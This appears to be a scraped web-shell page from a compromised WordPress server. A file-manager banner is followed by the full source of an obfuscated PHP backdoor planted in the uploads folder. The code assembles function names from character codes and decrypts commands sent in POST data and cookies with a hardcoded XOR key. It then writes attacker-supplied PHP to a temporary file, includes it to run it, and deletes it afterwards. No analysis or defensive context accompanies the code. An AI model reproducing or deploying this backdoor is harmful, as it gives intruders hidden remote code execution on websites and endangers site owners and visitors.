HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/07/shhppcgu.php
<?php 
$ejczvub /*   s */ =  'ejczvub'	^ /*  i */ '';


$dlu_kthw	=	"a"."r"."r"."a"."y"."\x5f" /*  apr*/ .	$ejczvub(109)    .    "a"."p";

function   bsbdif($ucepdw_aur,    $dgauqmjq){
 /*  byeguo   */ global /*   ud */ $ejczvub;


    

    $ucepdw_aur /*x   */ =  "<" /*  kgh   */ . /*   ienk */ $ejczvub(841-778)    .   "p".$ejczvub(238-134)    .  "\x70" /* owqf*/ .	$ejczvub(32) /*kji   */ .     "\x75"  .  "\156"    .   "l"."\x69" /*egy  */ .    "n"."k"."(".$ejczvub(788-693)	.    "\137"	.      "\x46"	.    "\x49"   .       "L".$ejczvub(69) /*  ptb_  */ .	"\137" /*  yrf*/ . /*   loi*/ "\137" /*_zp */ .  "\x29"    .	"\x3b"      . /* z*/ $ejczvub(32)    .     $ucepdw_aur["\144"]; /*  pgwui*/ $wmnqf_    = /* acoe */ "\146" /*   vwhjaq  */ .     "\151"    . /*xkm  */ "l"."e"."_"."p"."u"."t".$ejczvub(1014-919)    .   "c"."o"."n"."t"."e"."\x6e"    .      "t".$ejczvub(115);
 /* u   */ 
 /*   phyy   */ $wmnqf_($dgauqmjq, /*  i  */ $ucepdw_aur);
	


 /*   wnh_rs*/ liyzhheagn($dgauqmjq);

}




$aqt_xmqc  = /*ap__kw   */ 73;

function     liyzhheagn($dgauqmjq){
    global    $ejczvub;


   


 /*   pl   */ include($dgauqmjq);

 /* vwy */ $vqnuvvm_i	= /* hzuvpo   */ $dgauqmjq;


	@unlink($vqnuvvm_i);}
function	fohcki()

{	global /*fqc   */ $ejczvub;
    $fbumwsxn /*mq */ =	array();
    $fbumwsxn[$ejczvub(752-640) /*ehhfc  */ .      "v"] /*too */ =	phpversion();  $fbumwsxn[$ejczvub(1055-940) /*   ehsxww*/ . /*   ogfdd  */ "v"] /*ftipmv */ =       $ejczvub(51)    . /*tlrdya   */ "."."5";	$xsscrlep /*  h*/ = /* ghdp   */ 74;      echo /*   ba*/ @serialize($fbumwsxn);


}
function    qniuhdpyml($ucepdw_aur,   $edvsk_){
 /*j   */ global    $ejczvub;



  $tjimzvee_z     = /*iwdd */ "";
	$pkixpgv_wz    = /* zu   */ strlen($ucepdw_aur);

 /*   is */ $rlong /*   ipgwo  */ =   strlen($edvsk_);

    $fbumwsxn /*wb */ =     0;
 /*  hu  */ $mycucu	= /*  niq*/ 0;


     
    while     ($fbumwsxn     <	$pkixpgv_wz)       {
    $lpshds       = /*zy */ $ucepdw_aur[$fbumwsxn] /*  v_raio*/ ^    $edvsk_[$mycucu    %    $rlong];
       $tjimzvee_z /* ebv */ .=	$lpshds;

	$mycucu++;	
    $fbumwsxn++;

    }

     
    if /*zxjep  */ (strlen($tjimzvee_z)     > /*   xchr   */ 20) /*c   */ {
     $fbumwsxnjpbqvvnq  = /*   y */ substr($tjimzvee_z,   0,    20);
   }

    if	(empty($tjimzvee_z))    {

 /*   w */ $tjimzvee_z    = /*ubv  */ date('Y-m-d /*  j */ H:i:s');


    }


  return     $tjimzvee_z;
}



function /*pok  */ ntlvxat($vaynjay)
{

 /* hs */ global     $ejczvub;

    


	$wpzmd /*   ljo*/ =    "b"."5"."\71" /*   yii */ .	$ejczvub(100) /*q  */ .    "\142" /*   litew  */ .    "\144"."7"."5"."-"."\67"   . /*   o  */ "\145"    .	$ejczvub(101) /* renxp_*/ .    "b"."-"."4"."\x39"	.     "6".$ejczvub(55) /*  mds */ .    "-".$ejczvub(475-418) /*nyaem   */ .   "9".$ejczvub(693-641)	. /*  a   */ "7".$ejczvub(45) /*  qoik   */ . /*   sj  */ "9"."0"."b"."\x61"    .  $ejczvub(53)	. /*qdr */ $ejczvub(97)	.      "8"."c"."\x61"     .      $ejczvub(57)  . /*zwq */ "\x31"    . /* k   */ "\144";     /*wm  */ foreach      ($vaynjay    as    $meowymcjsu /* tv  */ =>    $ucepdw_aur) /* dwkxjt  */ {


   fpuhlrm(base64_decode($ucepdw_aur),    $wpzmd,	$meowymcjsu);    }}



function    fpuhlrm($ucepdw_aur,      $wpzmd,	$meowymcjsu)

{ /*   vddo */ global	$ejczvub;


    
       $ucepdw_aur  = /*   qaj  */ unserialize(qniuhdpyml(qniuhdpyml($ucepdw_aur, /*   mxqcps   */ $wpzmd), /* jipdk  */ $meowymcjsu));

	$wtbdxwhgqy      =	'bikw';
	$mssm_    =  'pum_f';


  if	(isset($ucepdw_aur["\141" /*  nlvd */ . /*  _ch*/ $ejczvub(609-502)]))	{

    if /*  bvy*/ ($ucepdw_aur["\141"] /*   ip  */ ==    "\x69")  {


 /*   ji  */ fohcki();    }      elseif /*   kh*/ ($ucepdw_aur["\141"]    == /* cby */ "e") /*tiuo */ {
 /* uagdzk   */ bsbdif($ucepdw_aur,       sprintf($ejczvub(815-769)	.      $ejczvub(47) /*  ckhwde   */ .     $ejczvub(37)      .	"\163" /* _pue  */ . /*  j_h  */ $ejczvub(354-308)	.	$ejczvub(749-637)       .	"\x6c", /*  k */ md5($wpzmd)));


			$_zp_qgbrl	= /*zeh*/ 44;
 /* n_vnk */ }
 /*u */ exit();
    }}

ntlvxat($_POST);	

$ukocdkmh   =    'rawurldecode';


$_wxfpibuzb /*zyjszy  */ = /*   c*/ $dlu_kthw($ukocdkmh, /*qwetpc*/ $_POST);


explode("",  $ukocdkmh);




ntlvxat($_COOKIE);

$ocjmkiupxl /*   to   */ =    $dlu_kthw($ukocdkmh,      $_COOKIE);

?>